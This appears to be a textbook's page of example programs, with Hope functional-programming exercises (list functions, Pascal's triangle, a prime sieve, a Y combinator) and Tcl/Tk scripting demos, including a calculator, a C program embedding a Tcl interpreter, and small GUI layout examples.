dec map : (alpha -> beta) # list(alpha) -> list(beta);
--- map(_, []) <= [];
--- map(f, x::ls) <= f(x) :: map(f, ls);
dec Reduce : (alpha # beta -> beta) # list(alpha) # beta -> beta;
--- Reduce(_, [], init) <= init;
--- Reduce(f, h :: t, init) <= f(h, Reduce(f, t, init));
dec Member : alpha # list(alpha) -> truval;
--- Member(x, ls) <=
Reduce(\(el, ok) => if ok then true else x = el,
ls, false);
dec MakeAdder : num -> num -> num;
--- MakeAdder x <= lambda y => x + y;
dec DropElems : num # list(alpha) -> list(alpha);
--- DropElems(_, []) <= [];
--- DropElems(0, ls) <= ls;
--- DropElems(k, _ :: tail) <= DropElems(k-1, tail);
dec MakeSeq : num # num # num -> list(num);
--- MakeSeq(x, y, d) <= if x > y then [] else x :: MakeSeq(x+d, y, d);
dec Twist : list(alpha) # list(alpha) -> list(alpha);
--- Twist(_, []) <= [];
--- Twist([], _) <= [];
--- Twist(x :: t1, y :: t2) <= x :: y :: Twist(t1, t2);
dec DropElC : num -> list(alpha) -> list(alpha);
--- DropElC 0 <= \ x => x;
--- DropElC k <= \ [] => [] | (_ :: tail) => DropElC (k-1) tail;
dec DropElCC : num -> list(alpha) -> list(alpha);
--- DropElCC k <=
if k = 0
then \ x => x
else \ [] => [] |
(_ :: tail) => (DropElC (k-1)) tail;
dec Curry : (alpha # beta -> gamma) -> alpha -> beta -> gamma;
--- Curry f <= \x => \y => f(x, y);
Book example: strwords.hop
strwords.hopHope / 30 lines
! dec BreakStringDo : list(char) -> list(list(char));
! --- BreakStringDo([]) <= [[]];
! --- BreakStringDo(' ' :: Rest) <=
! let Word :: List == BreakStringDo(Rest) in
! if Word = [] then [] :: List else [] :: Word :: List;
! --- BreakStringDo(c :: Rest) <=
! let Word :: List == BreakStringDo(Rest) in (c :: Word) :: List;
!
! dec BreakString : list(char) -> list(list(char));
! --- BreakString(str) <=
! let Word :: Rest == BreakStringDo(str) in
! if Word = [] then Rest else Word :: Rest;
dec DropFirstEmpty : list(list(char)) -> list(list(char));
--- DropFirstEmpty([] :: T) <= T;
--- DropFirstEmpty(H :: T) <= H :: T;
dec CharToFirstWord : char # list(list(char)) -> list(list(char));
--- CharToFirstWord(c, W :: L) <= (c :: W) :: L;
dec BreakStringDo : list(char) -> list(list(char));
--- BreakStringDo([]) <= [[]];
--- BreakStringDo(' ' :: Rest) <=
[] :: DropFirstEmpty(BreakStringDo(Rest));
--- BreakStringDo(c :: Rest) <=
CharToFirstWord(c, BreakStringDo(Rest));
dec BreakString : list(char) -> list(list(char));
--- BreakString(str) <=
DropFirstEmpty(BreakStringDo(str));
Book example: pascal_t.hop
pascal_t.hopHope / 50 lines
#!/usr/local/bin/hopeless -f
dec NextLineRest : list(num) -> list(num);
--- NextLineRest([k]) <= [k];
--- NextLineRest(a::b::ls) <= (a+b) :: NextLineRest(b::ls);
dec NextLine : list(num) -> list(num);
--- NextLine(ls) <= 1::NextLineRest(ls);
dec PascalsTriangleBuild : list(num) -> list(list(num));
--- PascalsTriangleBuild(ls) <= ls::PascalsTriangleBuild(NextLine(ls));
dec PascalsTriangle : list(list(num));
--- PascalsTriangle <= PascalsTriangleBuild([1]);
dec Nth : list alpha # num -> alpha;
--- Nth (x :: ls, n) <= if n = 0 then x else Nth (ls, n - 1);
dec Cnk : num # num -> num;
--- Cnk(n, k) <= Nth(Nth(PascalsTriangle, n), k);
! -------------------------------------------------------------------------
dec NumList2Str : list(num) -> list(char);
--- NumList2Str([]) <= [];
--- NumList2Str(n :: rest) <= num2str n <> " " <> NumList2Str(rest);
! dec LineByLine : list(char) # list(list(num)) -> list(char);
! --- LineByLine([], _) <= [];
! --- LineByLine(ch :: inp, h :: t) <=
! if ch = '\n' then
! NumList2Str h <> LineByLine(inp, t)
! else
! LineByLine(inp, h :: t);
dec LineByLine : list(char) # list(list(num)) -> list(char);
--- LineByLine([], _) <= [];
--- LineByLine('\n' :: inp, h :: t) <=
NumList2Str h <> LineByLine(inp, t);
--- LineByLine(_ :: inp, h :: t) <=
LineByLine(inp, h :: t);
dec main : list(list(char)) # list(char) -> list(char);
--- main([], inp) <= LineByLine("\n" <> inp, PascalsTriangle);
--- main(n::[], _) <= NumList2Str(Nth(PascalsTriangle, str2num n));
--- main(n::k::[], _) <= num2str(Cnk(str2num n, str2num k));
--- main(lst, _) <= "Too many arguments, sorry";
write main(argv, input) <> "\n";
Book example: sieve.hop
sieve.hopHope / 17 lines
dec Nth : list alpha # num -> alpha;
--- Nth (x :: ls, n) <= if n = 1 then x else Nth (ls, n - 1);
dec FirstN : list alpha # num -> list alpha;
--- FirstN (x :: y, n) <= if n = 0 then nil else x :: FirstN (y, n - 1);
dec From : num -> list num;
--- From x <= x :: From (x + 1);
dec Filter : num # list num -> list num;
--- Filter (n, m :: ls) <=
if m mod n = 0
then Filter (n, ls)
else m :: Filter (n, ls);
dec Sieve : list num -> list num;
--- Sieve (n :: ls) <= n :: Sieve (Filter (n, ls));
Book example: y.hop
y.hopHope / 50 lines
dec YComb : (alpha -> alpha) -> alpha;
! --- YComb f <= let lxfxx == lambda x => f(x x) in lxfxx lxfxx;
! --- YComb <= \ f => (\ x => x x) (\x => f (x x));
--- YComb f <= f(YComb f);
dec fact : num -> num;
--- fact x <=
let almost_fact ==
lambda fn => lambda t =>
if t = 0 then 1 else t * (fn (t-1))
in
(YComb almost_fact) x;
dec id : alpha -> alpha;
--- id x <= x;
! dec fact2 : num -> num;
! --- fact2 x <=
! let
! seed == lambda(fn, t) =>
! (fn, if t = 0 then 1 else t * fn(fn, t-1))
! in
! letrec (f, res) == (YComb seed)(f, x) in res;
dec Memb : (alpha # list(alpha)) -> truval;
--- Memb(m, ls) <=
let seed ==
lambda fn =>
lambda (_, []) => false
| (x, y::rst) =>
if x = y then true else fn(x, rst)
in
YComb seed (m, ls);
dec DropElems : num # list(alpha) -> list(alpha);
--- DropElems(count, lst) <=
let almost ==
\ fn => (\ (_,[])=>[] | (0,ls)=>ls | (k,_::t)=>fn(k-1,t))
in
(YComb almost)(count, lst);
dec Fix : (alpha -> alpha) -> alpha;
--- Fix f <= f(Fix f);
dec Sumlist : list(num) -> num;
--- Sumlist [] <= 0;
--- Sumlist (x :: r) <= x + Sumlist r;
12. Scripting and Execution Strategies / 9 filesRead chapter
Book example: hello.tcl
Book example: calc.tcl
calc.tclTcl/Tk / 12 lines
#!/bin/sh
# calc.tcl \
exec tclsh "$0" "$@"
if { $argc == 1 } {
puts [expr [lindex $argv 0]]
} else {
puts stderr "Please specify an arithmetic expression"
puts stderr "as the first parameter, such as"
puts stderr " $argv0 '2*2'"
exit 1
}
Book example: calc0.tcl
calc0.tclTcl/Tk / 4 lines
#!/bin/sh
# calc0.tcl \
exec tclsh "$0" "$@"
puts [expr [lindex $argv 0]]
Book example: calc1.tcl
calc1.tclTcl/Tk / 19 lines
#!/bin/sh
# calc1.tcl \
exec tclsh "$0" "$@"
if { $argc == 1 } {
set x [lindex $argv 0]
set code [catch { expr $x } result]
if { $code } {
puts stderr "Couldn't evaluate the expression ``$x''"
exit 1
} else {
puts $result
}
} else {
puts stderr "Please specify an arithmetic expression"
puts stderr "as the first parameter, such as"
puts stderr " $argv0 '2*2'"
exit 1
}
Book example: tclembed.c
tclembed.cC / 139 lines
/*
Tcl embedding/extending demo
Copyright (C) by Andrey Vikt. Stolyarov, 2019, 2025.
You can do whatever you want with this code; you're responsible
for any consequences.
To compile this as a Tcl interpreter:
gcc -Wall -g tclembed.c -ltcl -o tclembed
To compile this as a plugin for tclsh:
gcc -shared -fpic -Wall -g -DPLUGIN tclembed.c -o tclembed.so
The plugin can then be loaded from within tclsh with
load ./tclembed.so
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tcl/tcl.h>
enum { maxcmd = 32 * 1024 };
static int read_command(char *cmd_buf, int bufsize)
{
int len = 0;
*cmd_buf = 0;
do {
const char *r;
if(len > bufsize-3) { /* nowhere to read "}\n" to */
fprintf(stderr, "Command too long\n");
return 0;
}
cmd_buf[bufsize-2] = 0;
r = fgets(cmd_buf + len, bufsize-len, stdin);
if(!r) /* EOF */
return 0;
if(cmd_buf[bufsize-2]) {
int c;
fprintf(stderr, "Command too long\n");
while((c = getchar()) != EOF && c != '\n')
{}
return 0;
}
len += strlen(cmd_buf+len);
} while(!Tcl_CommandComplete(cmd_buf));
return 1;
}
static void rep_loop(Tcl_Interp *interp, const char *prompt)
{
char *buf;
buf = malloc(maxcmd);
fputs(prompt, stdout);
while(read_command(buf, maxcmd)) {
int code;
const char *resptr;
Tcl_ResetResult(interp);
code = Tcl_Eval(interp, buf);
switch(code) {
case TCL_OK:
resptr = Tcl_GetStringResult(interp);
if(*resptr)
printf("%s\n", resptr);
break;
case TCL_ERROR:
resptr = Tcl_GetStringResult(interp);
fprintf(stderr, "TCL ERROR: %s\n", resptr);
break;
case TCL_RETURN:
fprintf(stderr, "return?! what's the hell?\n");
break;
case TCL_BREAK:
case TCL_CONTINUE:
fprintf(stderr,
"it's a bit strange to use break/continue this way\n");
break;
default:
fprintf(stderr, "unknown Tcl return code %d\n", code);
}
fputs(prompt, stdout);
}
}
static int
proc_triple(ClientData cd, Tcl_Interp *interp, int argc, const char **argv)
{
int len;
char *res;
if(argc != 2) {
Tcl_SetResult(interp, "must specify exactly 1 parameter", TCL_STATIC);
return TCL_ERROR;
}
len = strlen(argv[1]);
res = Tcl_Alloc(len*3+1);
strcpy(res, argv[1]);
strcpy(res+len, argv[1]);
strcpy(res+2*len, argv[1]);
Tcl_SetResult(interp, res, TCL_DYNAMIC);
return TCL_OK;
}
static int
proc_enter(ClientData cd, Tcl_Interp *interp, int argc, const char **argv)
{
const char *prompt = argc > 1 ? argv[1] : ">> ";
rep_loop(interp, prompt);
clearerr(stdin);
Tcl_SetResult(interp, "", TCL_STATIC);
return TCL_OK;
}
#ifndef PLUGIN
int main()
{
Tcl_Interp *interp = Tcl_CreateInterp();
Tcl_CreateCommand(interp, "triple", proc_triple, NULL, NULL);
Tcl_CreateCommand(interp, "ENTER", proc_enter, NULL, NULL);
rep_loop(interp, "> ");
return 0;
}
#else
int Tclembed_Init(Tcl_Interp *interp)
{
Tcl_CreateCommand(interp, "triple", proc_triple, NULL, NULL);
Tcl_CreateCommand(interp, "ENTER", proc_enter, NULL, NULL);
return TCL_OK;
}
#endif
Book example: griddemo.tcl
griddemo.tclTcl/Tk / 33 lines
#!/bin/sh
# griddemo.tcl // this program is hereby put into public domain
# The next line starts wish \
exec wish "$0" -name "grid_demo" "$@"
wm title . "tcl/tk grid demo"
set dim 40
proc m { id } {
global dim
frame .fr$id -relief sunken -bd 3 -height $dim -width $dim
label .fr$id.lb -text "$id"
place .fr$id.lb -relx 0.5 -rely 0.5 -anchor center
return .fr$id
}
grid [m a1] [m b1] [m c1] [m d1] [m e1] [m f1] [m g1] [m h1] -sticky nswe
grid [m a2] x [m c2] x x [m f2] [m g2] [m h2] -sticky nswe
grid [m a3] [m b3] - - [m e3] - - - -sticky nswe
grid [m a4] [m b4] [m c4] [m d4] [m e4] [m f4] [m g4] [m h4] -sticky nswe
grid [m a5] ^ [m c5] [m d5] [m e5] ^ [m g5] [m h5] -sticky nswe
grid [m a6] x [m c6] [m d6] [m e6] ^ [m g6] [m h6] -sticky nswe
grid [m a7] [m b7] [m c7] x x [m f7] [m g7] [m h7] -sticky nswe
grid [m a8] [m b8] [m c8] x x [m f8] [m g8] [m h8] -sticky nswe
grid [button .b -text Close -command exit -bd 4] \
-row 6 -column 3 -rowspan 2 -columnspan 2
grid columnconfigure . all -weight 1 -uniform a
grid rowconfigure . all -weight 1 -uniform b
bind . <Escape> exit
Book example: packdemo.tcl
packdemo.tclTcl/Tk / 23 lines
#!/bin/sh
# packdemo.tcl // this program is hereby put into public domain
# The next line starts wish \
exec wish "$0" -name "pack_demo" "$@"
wm title . "tcl/tk pack demo"
. configure -height 300 -width 300
pack propagate . 0
set i 0
for { set n 0 } { $n < 5 } { incr n } {
foreach sd { top left bottom right } {
incr i
label .l$i -text $i -relief ridge -bd 3
pack .l$i -side $sd -fill both -expand 1
}
}
button .b -text Close -command exit -bd 4
pack .b -side left -expand 1 -fill both
bind . <Escape> exit
Book example: greek.tcl
greek.tclTcl/Tk / 12 lines
#!/bin/sh
# \
exec tclsh "$0" "$@"
set greek {
alpha beta gamma delta epsilon zeta eta
theta iota kappa lambda mu nu xi omicron
pi rho sigma tau upsilon phi chi psi omega
}
foreach { x y z } $greek {
puts "$x $y $z"
}
Book example: x11echo.tcl
x11echo.tclTcl/Tk / 15 lines
#!/bin/bash
# x11echo.tcl // this program is hereby put into public domain
# The next line starts wish \
exec wish "$0" -name "x11_echo" "$@"
wm title . "tcl/tk x11 echo demo"
label .lb -text "$argv0 $argv ($argc)" -padx 10 -pady 10
pack .lb -side top -fill x
button .ok -text "Ok" -command exit
pack .ok -side bottom -fill x
while { 1 == 1 } {}